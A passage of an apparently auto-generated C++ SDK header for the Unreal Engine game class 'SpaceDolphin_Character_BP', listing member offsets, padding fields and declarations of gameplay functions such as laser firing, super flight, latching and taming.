struct FRotator CallFunc_BreakTransform_Rotation; // 0x3EAC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_BreakTransform_Scale; // 0x3EB8(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData189[0x4]; // 0x3EC4(0x0004) MISSED OFFSET
class APrimalDinoCharacter* CallFunc_SpawnDino_ReturnValue; // 0x3EC8(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
double CallFunc_GetNetworkTimeInSeconds_ReturnValue16; // 0x3ED0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_DoubleDouble_ReturnValue13; // 0x3ED8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData190[0x7]; // 0x3ED9(0x0007) MISSED OFFSET
double CallFunc_GetNetworkTimeInSeconds_ReturnValue17; // 0x3EE0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_DoubleDouble_ReturnValue14; // 0x3EE8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData191[0x7]; // 0x3EE9(0x0007) MISSED OFFSET
class AMissionSpline* CallFunc_IsStarFoxMode_CurrentSpline4; // 0x3EF0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsStarFoxMode_ReturnValue4; // 0x3EF8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData192[0x7]; // 0x3EF9(0x0007) MISSED OFFSET
double CallFunc_IsStarFoxMode_RetRiderSetTime4; // 0x3F00(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsStarFoxMode_RetIsRiderWarmup4; // 0x3F08(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData193[0x3]; // 0x3F09(0x0003) MISSED OFFSET
float CallFunc_PlayAnimEx_ReturnValue2; // 0x3F0C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_PlayAnimEx_ReturnValue3; // 0x3F10(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
TEnumAsByte<ENetModeBP> CallFunc_SwitchNetworkMode_OutNetworkMode5; // 0x3F14(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_SwitchEnum6_CmpSuccess; // 0x3F15(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData194[0x2]; // 0x3F16(0x0002) MISSED OFFSET
struct FVector CallFunc_GetSocketLocation_ReturnValue2; // 0x3F18(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_SwitchInteger_CmpSuccess; // 0x3F24(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData195[0x3]; // 0x3F25(0x0003) MISSED OFFSET
class UParticleSystemComponent* CallFunc_SpawnEmitterAtLocation_ReturnValue8; // 0x3F28(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue11; // 0x3F30(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_SwitchInteger2_CmpSuccess; // 0x3F31(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Not_PreBool_ReturnValue8; // 0x3F32(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_BoolBool_ReturnValue5; // 0x3F33(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData196[0x4]; // 0x3F34(0x0004) MISSED OFFSET
class AMissionSpline* CallFunc_IsStarFoxMode_CurrentSpline5; // 0x3F38(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsStarFoxMode_ReturnValue5; // 0x3F40(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData197[0x7]; // 0x3F41(0x0007) MISSED OFFSET
double CallFunc_IsStarFoxMode_RetRiderSetTime5; // 0x3F48(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsStarFoxMode_RetIsRiderWarmup5; // 0x3F50(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_HasFuel_ReturnValue2; // 0x3F51(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData198[0x2]; // 0x3F52(0x0002) MISSED OFFSET
int CallFunc_HasFuel_Quantity2; // 0x3F54(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue12; // 0x3F58(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsFPV_RetVal; // 0x3F59(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData199[0x2]; // 0x3F5A(0x0002) MISSED OFFSET
struct FVector CallFunc_IsFPV_CameraLoc; // 0x3F5C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class UAnimMontage* K2Node_Select_ReturnValue; // 0x3F68(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_Select_CmpSuccess; // 0x3F70(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData200[0x3]; // 0x3F71(0x0003) MISSED OFFSET
float CallFunc_PlayAnimEx_ReturnValue4; // 0x3F74(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class AController* CallFunc_GetController_ReturnValue11; // 0x3F78(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsFlakCannonOnCooldown_ReturnValue; // 0x3F80(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData201[0x7]; // 0x3F81(0x0007) MISSED OFFSET
class APlayerController* K2Node_DynamicCast_AsPlayerController; // 0x3F88(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_DynamicCast9_CastSuccess; // 0x3F90(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData202[0x3]; // 0x3F91(0x0003) MISSED OFFSET
struct FLinearColor CallFunc_GetColorForColorizationRegion_ReturnValue; // 0x3F94(0x0010) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FLinearColor CallFunc_GetColorForColorizationRegion_ReturnValue2; // 0x3FA4(0x0010) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_RGBToHSV_H; // 0x3FB4(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_RGBToHSV_S; // 0x3FB8(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_RGBToHSV_V; // 0x3FBC(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_RGBToHSV_A; // 0x3FC0(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_RGBToHSV_H2; // 0x3FC4(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_RGBToHSV_S2; // 0x3FC8(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_RGBToHSV_V2; // 0x3FCC(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_RGBToHSV_A2; // 0x3FD0(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FLinearColor CallFunc_GetColorForColorizationRegion_ReturnValue3; // 0x3FD4(0x0010) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_RGBToHSV_H3; // 0x3FE4(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_RGBToHSV_S3; // 0x3FE8(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_RGBToHSV_V3; // 0x3FEC(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_RGBToHSV_A3; // 0x3FF0(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_MakeVector_ReturnValue3; // 0x3FF4(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Not_PreBool_ReturnValue9; // 0x4000(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData203[0x7]; // 0x4001(0x0007) MISSED OFFSET
class UWorld* CallFunc_K2_GetWorld_ReturnValue14; // 0x4008(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
double CallFunc_GetNetworkTimeInSeconds_ReturnValue18; // 0x4010(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsTimeSince_Network_ReturnValue7; // 0x4018(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData204[0x3]; // 0x4019(0x0003) MISSED OFFSET
int CallFunc_Array_Length_ReturnValue4; // 0x401C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class UParticleSystemComponent* CallFunc_SpawnEmitterAttached_ReturnValue2; // 0x4020(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_K2_IsTimerActive_ReturnValue2; // 0x4028(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsGamePadActive_Ret; // 0x4029(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsGamePadActive_Ret2; // 0x402A(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue13; // 0x402B(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue14; // 0x402C(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue15; // 0x402D(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue16; // 0x402E(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData205[0x1]; // 0x402F(0x0001) MISSED OFFSET
int Temp_int_Loop_Counter_Variable4; // 0x4030(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Less_IntInt_ReturnValue4; // 0x4034(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData206[0x3]; // 0x4035(0x0003) MISSED OFFSET
class UMaterialInterface* CallFunc_Array_Get_Item4; // 0x4038(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class UMaterialInstanceDynamic* CallFunc_CreateDynamicMaterialInstance_ReturnValue; // 0x4040(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
int CallFunc_Add_IntInt_ReturnValue4; // 0x4048(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
TEnumAsByte<EMoveComponentAction> Temp_byte_Variable; // 0x404C(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue17; // 0x404D(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
TEnumAsByte<ENetModeBP> CallFunc_SwitchNetworkMode_OutNetworkMode6; // 0x404E(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
TEnumAsByte<ENetModeBP> CallFunc_SwitchNetworkMode_OutNetworkMode7; // 0x404F(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_SwitchEnum7_CmpSuccess; // 0x4050(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_SwitchEnum8_CmpSuccess; // 0x4051(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData207[0x2]; // 0x4052(0x0002) MISSED OFFSET
struct FVector CallFunc_K2_GetActorLocation_ReturnValue14; // 0x4054(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class USceneComponent* CallFunc_K2_GetRootComponent_ReturnValue2; // 0x4060(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class UAudioComponent* CallFunc_PlaySoundAttached_ReturnValue5; // 0x4068(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class USceneComponent* CallFunc_K2_GetRootComponent_ReturnValue3; // 0x4070(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_K2_GetActorLocation_ReturnValue15; // 0x4078(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData208[0x4]; // 0x4084(0x0004) MISSED OFFSET
class UAudioComponent* CallFunc_PlaySoundAttached_ReturnValue6; // 0x4088(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Subtract_VectorVector_ReturnValue7; // 0x4090(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_VSize_ReturnValue5; // 0x409C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Greater_FloatFloat_ReturnValue7; // 0x40A0(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData209[0x7]; // 0x40A1(0x0007) MISSED OFFSET
TArray<class AActor*> CallFunc_LineTraceSingle_NEW_ActorsToIgnore_RefProperty; // 0x40A8(0x0010) (OutParm, ZeroConstructor, Transient, DuplicateTransient, ReferenceParm)
TArray<class AActor*> CallFunc_LineTraceSingle_NEW_ActorsToIgnore2_RefProperty; // 0x40B8(0x0010) (OutParm, ZeroConstructor, Transient, DuplicateTransient, ReferenceParm)
TArray<class AActor*> CallFunc_LineTraceSingle_NEW_ActorsToIgnore3_RefProperty; // 0x40C8(0x0010) (OutParm, ZeroConstructor, Transient, DuplicateTransient, ReferenceParm)
TArray<class AActor*> CallFunc_LineTraceSingle_NEW_ActorsToIgnore4_RefProperty; // 0x40D8(0x0010) (OutParm, ZeroConstructor, Transient, DuplicateTransient, ReferenceParm)
TArray<class AActor*> CallFunc_LineTraceSingle_NEW_ActorsToIgnore5_RefProperty; // 0x40E8(0x0010) (OutParm, ZeroConstructor, Transient, DuplicateTransient, ReferenceParm)
TArray<class AActor*> CallFunc_LineTraceSingle_NEW_ActorsToIgnore6_RefProperty; // 0x40F8(0x0010) (OutParm, ZeroConstructor, Transient, DuplicateTransient, ReferenceParm)
TArray<class AActor*> CallFunc_SphereOverlapActors_NEW_ActorsToIgnore_RefProperty;// 0x4108(0x0010) (OutParm, ZeroConstructor, Transient, DuplicateTransient, ReferenceParm)
static UClass* StaticClass()
{
static auto ptr = UObject::FindClass("BlueprintGeneratedClass SpaceDolphin_Character_BP.SpaceDolphin_Character_BP_C");
return ptr;
}
void GetHudData(bool* HasSaddle, bool* IsFPV, bool* HideHUDinFPV, int* LaserLevel, int* MaxLaserLevel, float* LaserDowngradeTime, float* LaserDowngradeTimerRemaining, bool* IsLaserDowngradeTimerActive, double* LastLaserLevelChangedTime, class UPrimalInventoryComponent** InventoryComponent, class UClass** SaddleFuelItem, class UClass** FlakCannonAmmoItem, bool* IsUsingSuperFlight, bool* IsUsingSuperFlightBoost, float* FuelPercent, float* CannonCooldownPercent, float* EchoOrChaffCooldownPercent, bool* IsSubmerged);
TEnumAsByte<ECameraStyle> BPForceCameraStyle(class APrimalCharacter** ForViewTarget);
void UpdateLocalSounds();
bool Is_Star_Fox_Mode_Public(class AMissionSpline** CurrentSpline, double* RetRiderSetTime, bool* RetIsRiderWarmup);
void UpdateMouseCursor();
void TurnOffMouseCursor();
bool BPHandlePoop();
bool IsSilenced();
void Server_Request_Fire_Lasers_Fn(const struct FVector& CameraHitLocation);
void ShouldPreventLockOnMe(bool* IsPrevented);
void IsCurrentlyInStarFoxModeWithGamepad(bool* Result);
float BPSetSimulatedInterpRollOverride();
void IsGamePadActive(bool* Ret);
void BPUnstasis();
void TryStartImmelmann();
void TryStartLoop();
void UpdateFPVMeshes();
struct FRotator Get_Desired_Rotation();
struct FVector STATIC_GetCameraHitLocationForProjectiles();
struct FLinearColor Get_Screen_Mouse_Position_as_MatParam();
void BPOnClearMountedDino();
void Update_Saddle_Shield_Material();
void STATIC_GetPercentTamed(float* Percemt, float* RequiredAmount);
bool STATIC_BPDinoTooltipCustomTamingProgressBar(bool* overrideTamingProgressBarIfActive, float* progressPercent, class FString* Label);
void BPNotifyInventoryItemChange(bool* bIsItemAdd, class UPrimalItem** theItem, bool* bEquipItem);
void AddSaddleActivationText();
void ClearSaddleActivationText();
void BPBecomeAdult();
void BPBecomeBaby();
void UpdateStarFoxCameraForGamepad();
bool BP_InterceptTurnInput(float* AxisValue);
void OnConsumeFood();
void BPUntamedConsumeFoodItem(class UPrimalItem** foodItem);
void BPTamedConsumeFoodItem(class UPrimalItem** foodItem);
bool BPModifyControlRotation(struct FRotator* ControlRotation, struct FRotator* outControlRotation);
void SetLastTimeChargedLaserHit(double val);
void Update_Materials(class UMaterialInterface* Material);
void Is_FPV_Public(bool* Retval);
void IsFPV(bool* Retval, struct FVector* CameraLoc);
void ReceiveEndPlay(TEnumAsByte<EEndPlayReason>* EndPlayReason);
void BPNotifyLevelUp(int* ExtraCharacterLevel);
bool IsSpinningPublic(bool* Right);
void UpdateBarrelRoll();
float GetLaserDamage();
void GetDamageReductionPercentFromLaserLevel(float* Ret);
void GetTamedWalkingSpeedModifierForLaserLevel(float* TamedWalkingSpeedModifier);
void GetLaserLevelDowngradeTime(float* LaserLevelDowngradeTime);
void GetChargedLaserProj(class UClass** ChargedLaserProjectile);
class UParticleSystem* GetLaserPFX(int* LaserLevel);
float BPGetTargetingDesirability(class AActor** Attacker);
float GetChanceToSpawnSpaceWhale();
void SpawnSpaceWhale();
void Try_Spawn_Space_Whale();
void UpdateWildDemands(bool ResetWildDemand);
void HasWildDemands(bool* HasDemands, int* NumPets, int* NumFood);
void TriggerWildAngerFn();
bool IsAngryWildDino(float* DistanceSq);
void NearbyAngryDolphin(class ASpaceDolphin_Character_BP_C* AngryDolphin, class AShooterCharacter* Target);
bool BPShouldForceFlee();
void UpdateWild();
bool BPTryMultiUse(class APlayerController** ForPC, int* UseIndex);
TArray<struct FMultiUseEntry> BPGetMultiUseEntries(class APlayerController** ForPC, TArray<struct FMultiUseEntry>* MultiUseEntries);
float BlueprintAdjustOutputDamage(int* AttackIndex, float* OriginalDamageAmount, class AActor** HitActor, class UClass** OutDamageType, float* OutDamageImpulse);
void FireChaff();
void EchoLocation();
void STATIC_UpdateGroundFX();
void STATIC_DoLaserTraceAndDamage(const struct FVector& Start, const struct FVector& End, struct FVector* RetStart, struct FVector* RetEnd, bool* Ret, bool* ImpactCharacterOrStructure);
void UpdateStarFoxCollision();
void UpateBarrelRollFX();
void UpdateRotatingComponent();
void OnRep_LastLaserLevelUpTime();
void Downgrade_Laser_Level();
bool Is_Drifting_Public(bool* DriftingInput, bool* Right, double* DriftEndTime);
void DeactiveDriftJets();
bool IsDrifting(bool* DriftingInput, bool* Right, double* DriftEndTime, bool* IsFinishingDrift);
float GetDriftInputStrength(float* ReturnValueBase);
void UpdateDrifting();
void UpdateSaddle();
void TryDoStarFoxModeCollisionDamage();
void ReceiveActorBeginOverlap(class AActor** OtherActor);
void ReceiveActorEndOverlap(class AActor** OtherActor);
void STATIC_Get_Camera_YScalar(float* StarFoxModeCameraXOffsetScalar);
void OnRep_CurrentSpline();
bool BP_PreventMovementMode(TEnumAsByte<EMovementMode>* NewMovementMode, unsigned char* NewCustomMode);
void CanBarrelRoll(bool* res);
void IsDoingBarrelRoll(bool* Ret, class UAnimMontage** Anim, double* LastBarrelRollStartTime);
void BarrelRoll(int Direction, const struct FVector& CameraDirection);
void Is_Braking_Public(bool* IsBraking, double* TimeStartedBraking);
void Is_Braking(bool* IsBraking, double* TimeStartedBraking);
void UpdateBraking();
void BPDrawToRiderHUD(class AShooterHUD** HUD);
void UpdateSpinning();
bool IsSpinning(bool* Right);
void DestroyProjectile();
void Get_Flak_Cannon_Parameters(class AShooterProjectile* Projectile);
bool IsStarFoxMode(class AMissionSpline** CurrentSpline, double* RetRiderSetTime, bool* RetIsRiderWarmup);
bool ValidateSpline(class AMissionSpline* Spline);
void UpdateSpline();
bool BPServerHandleNetExecCommand(class APlayerController** FromPC, struct FName* CommandName, struct FBPNetExecParams* ExecParams);
void BPKilledSomethingEvent(class APrimalCharacter** killedTarget);
void IsDualLasers(bool* DualLasers);
bool CanLoop();
bool IsChargingLaser();
float BPGetCrosshairSpread();
void UpdateLoop();
bool BPAcknowledgeServerCorrection(float* TimeStamp, struct FVector* NewLoc, struct FVector* NewVel, class UPrimitiveComponent** NewBase, struct FName* NewBaseBoneName, bool* bHasBase, bool* bBaseRelativePosition, unsigned char* ServerMovementMode);
void EndLoop();
void StartLoop(bool Immelmann);
struct FLinearColor BPGetCrosshairColor();
void Try_Get_ChargedLaserTarget(class AActor** Ret);
void OwningClientTryFireChargedLaser();
void GetChargedLaserParameters(class AShooterProjectile* Projectile, float* ChargeTime, class AActor** Target);
void STATIC_FireChargedLaser(const struct FVector& Dir, const struct FVector& Loc, class AActor* Target, float ChargeTime);
void STATIC_Owning_Client_Try_FireLasers();
void FireLasers(const struct FVector& Dir, const struct FVector& Loc, const struct FName& Socket);
void GetSaddleColor(int Region, struct FLinearColor* Ret);
void IsUsingWindGust(bool* Ret, double* StartTime);
void IsUsingForwardInput(bool* Ret);
void BPUnsetupDinoTameable();
void BSetupDinoTameable();
void UpdateRiderSocket();
struct FName GetOverrideSocket(struct FName* From);
bool AllowWakingTame(class APlayerController** ForPC);
void OwningClientTryFlakCannonFire();
void InterceptInputEvent(class FString* InputName);
bool AllowPlayMontage(class UAnimMontage** AnimMontage);
class UAnimMontage* GetDinoLevelUpAnimation();
void UpdateTaming();
bool BPShowTamingPanel(bool* currentVisibility);
void GetTamingBuff(bool* IsValid, class APrimalBuff** Buff);
bool BlueprintCanAttack(int* AttackIndex, float* Distance, float* attackRangeOffset, class AActor** OtherTarget);
float BPAdjustDamage(float* IncomingDamage, struct FDamageEvent* TheDamageEvent, class AController** EventInstigator, class AActor** DamageCauser, bool* bIsPointDamage, struct FHitResult* PointHitInfo);
struct FRotator Get_Replicated_Control_Rotation_Public();
void IsPlayingBlockingAnim(bool* ReturnVal);
bool Is_Using_Drafting_Public(bool* DraftAcked);
bool IsUsingDrafting(bool* DraftAcked);
struct FName BPGetRiderSocket();
bool IsJumpHeld();
void BPOnDinoCheat(struct FName* CheatName, bool* bSetValue, float* Value);
struct FRotator GetReplicatedControlRotation();
void ReceiveTick(float* DeltaSeconds);
void BPDoAttack(int* AttackIndex);
float BPGetCrosshairAlpha();
bool IsFlakCannonOnCooldown();
void BPGetCrosshairLocation(float* CanvasClipX, float* CanvasClipY, float* OutX, float* OutY);
void ConsumeItem(class UClass* Item);
bool HasAmmo(int* Quantity);
bool BPOnStopJump();
void Fire_Flak_Cannon(const struct FVector& Dir, const struct FVector& Loc);
void Has_Saddle_Public(bool* Ret, bool* RetIsSuperSaddle);
void OnInventoryItemGrind();
void UpdateWindGustCooldownVFX();
int BPOverrideGetAttackAnimationIndex(int* AttackIndex, TArray<class UAnimMontage*>* AnimationArray);
void TryInterruptLanding(TEnumAsByte<EMovementMode> Selection);
void OnRep_SuperFlight();
void SetSuperFlight(bool Value, bool TriggerVFX);
float Get_Current_Percent_Of_Max_Fly_Speed_Public();
void Is_Using_Super_Flight_Public(bool* Ret, double* StartedEndingTime);
void IsUsingSuperFlight(bool* Ret, double* StartedEndingTime);
void UpdateSuperFlightBoost();
bool Is_Using_Super_Flight_Boost_Public();
bool IsUsingSuperFlightBoost(double* StartTime);
struct FName BPGetDragSocketName(class APrimalCharacter** DraggingChar);
void OnCarriedStruggle();
bool IsUsingWingGust();
void Update_Jet_FX();
bool HasFuel(int* Quantity);
void UpdateFuel();
void BPDidSetCarriedCharacter(class APrimalCharacter** PreviousCarriedCharacter);
void HasSaddle(bool* Ret, bool* RetIsSuperSaddle);
void UpdateDrafting();
struct FName BPGetDragSocketDinoName(class APrimalDinoCharacter** aGrabbedDino);
void UpdateSuperFlightStateData();
void UpdateAcceleration();
void UpdateRotationRate();
void UpdateAllyAOE();
struct FVector GetWindGustEpicenter();
void STATIC_DoWing_GustAOE();
void Is_Diving_Public(bool* Ret, double* TimeDiveStart);
void BPNotifySetRider(class AShooterCharacter** RiderSetting);
void UpdateTPVOffset();
void UpdateCheckQuickTurn();
void UpdateSpeed();
void UpdateDiving();
void IsDiving(bool* Ret, double* TimeDiveStart, double* TimeStoppedDiving);
void GetAnimBP(class USpaceDolphin_AnimationBP_C** Ret);
float GetCurrentPercentOfMaxFlySpeed();
void GetCDO(class ASpaceDolphin_Character_BP_C** Ret);
bool Is_Quick_Turning();
void EndQuickTurn();
void StartSuperFlightQuickTurn();
void OnRep_LastSuperFlightQuickTurn();
void UpdateSuperFlightRoll();
bool BP_InterceptMoveRight(float* AxisValue);
void UpdateTrails();
void ActivateTrails();
void DeactivateTrails();
void RidingTick(float* DeltaSeconds);
void BP_OnStartLandingNotify();
struct FVector BPOverrideFlyingVelocity(float* DeltaTime, struct FVector* InitialVelocity, struct FVector* Gravity);
void K2_OnMovementModeChanged(TEnumAsByte<EMovementMode>* PrevMovementMode, TEnumAsByte<EMovementMode>* NewMovementMode, unsigned char* PrevCustomMode, unsigned char* NewCustomMode);
bool BP_InterceptMoveForward(float* AxisValue);
void STATIC_BPGetHUDElements(class APlayerController** ForPC, TArray<struct FHUDElement>* OutElements);
void STATIC_BPOverrideCameraViewTarget(struct FName* CurrentCameraMode, struct FVector* DesiredCameraLocation, struct FRotator* DesiredCameraRotation, float* DesiredFOV, bool* bOverrideCameraLocation, struct FVector* CameraLocation, bool* bOverrideCameraRotation, struct FRotator* CameraRotation, bool* bOverrideCameraFOV, float* CameraFOV);
void BP_OnSetRunning(bool* bNewIsRunning);
void BPNotifyClearRider(class AShooterCharacter** RiderClearing);
bool BPHandleOnStopTargeting();
bool BPHandleControllerInitiatedAttack(int* AttackIndex);
bool BPModifyDesiredRotation(float* DeltaTime, struct FRotator* InDesiredRotation, struct FRotator* OutDesiredRotation);
void BPSetupTamed(bool* bWasJustTamed);
bool BPOnStartJump();
bool BPHandleUseButtonPress(class AShooterPlayerController** RiderController);
void DisableCameraInterpolation();
void OnRep_LatchingSurfaceNormal();
void UpdateLatchedDinoCamera();
void Controller_Follow_ActorRotation(float DeltaSeconds);
void STATIC_ReferenceLatchingObjects();
void LineTrace(class UMeshComponent* Mesh, const struct FName& SocketName, class AActor* Actor, const struct FVector& Offset, bool BackwardLatching, bool* Hit_Somthing, struct FVector* Location, struct FVector* Normal, class AActor** Hit_Actor);
void InterruptLatching();
void ProcessLatching(float DeltaSeconds);
void TryLatch(const struct FVector& Offset, bool backwardsLatching);
void UserConstructionScript();
void InpActEvt_AltFire_K2Node_InputActionEvent_348();
void InpActEvt_BrakeDino_K2Node_InputActionEvent_347();
void InpActEvt_BrakeDino_K2Node_InputActionEvent_346();
void InpActEvt_Crouch_K2Node_InputActionEvent_345();
void InpActEvt_Prone_K2Node_InputActionEvent_344();
void InpActEvt_GamepadRightThumbstick_K2Node_InputActionEvent_343();
void InpActEvt_GamepadRightThumbstick_K2Node_InputActionEvent_342();
void InpActEvt_Gamepad_LeftTrigger_K2Node_InputKeyEvent_74();
void InpActEvt_Gamepad_LeftTrigger_K2Node_InputKeyEvent_73();
void InpActEvt_OrbitCam_K2Node_InputActionEvent_341();
void InpActEvt_OrbitCamToggle_K2Node_InputActionEvent_340();
void Latch(bool backwardsLatching);
void LatchStartAnimation();
void UnLatch(bool LatchingInterrupted);
void UnLatchStartAnimation();
void BlueprintAnimNotifyCustomEvent(struct FName* CustomEventName, class USkeletalMeshComponent** MeshComp, class UAnimSequenceBase** Animation, class UAnimNotify** AnimNotifyObject);
void MoveToUsingDirection(float DeltaTime);
void UnLatchMoveAndRotate();
void LatchingStartEvent();
void LatchingEndEvent();
void StopMovement(float DeltaSeconds);
void DisableFaceLatchingObjectRotation();
void SetPassengersSurfaceCamera(float Yaw, float Pitch, float Roll);
void LocalFaceLatchingObject(float DeltaSeconds);
void StartedJump();
void ServerToggleSuperFlight();
void ServerSuperFightRightInput(float AxisValue);
void ServerRequestSuperFlightQuickTurn();
void UpdateQuickTurn();
void ServerRequestWindGust();
void AnimNotify_WindGust();
void ClientWindGust(const struct FVector& Epicenter);
void AnimNotify_WindGustVFX();
void ServerRequestFireFlakCannon(const struct FVector& Dir, const struct FVector& Loc);
void InpAxisEvt_MoveUp_K2Node_InputAxisEvent_181(float AxisValue);
void ServerUpdateLastForwardInputTime();
void DelayedSuperFlightEnd();
void MultiSuperFlightEnd();
void ClientTagDraftee(class APrimalCharacter* Target);
void WindGust180End();
void WindGust180Tick();
void AnimNotify_WindGustCheckFor180();
void AnimNotify_WindGustBoost();
void ServerRequest180();
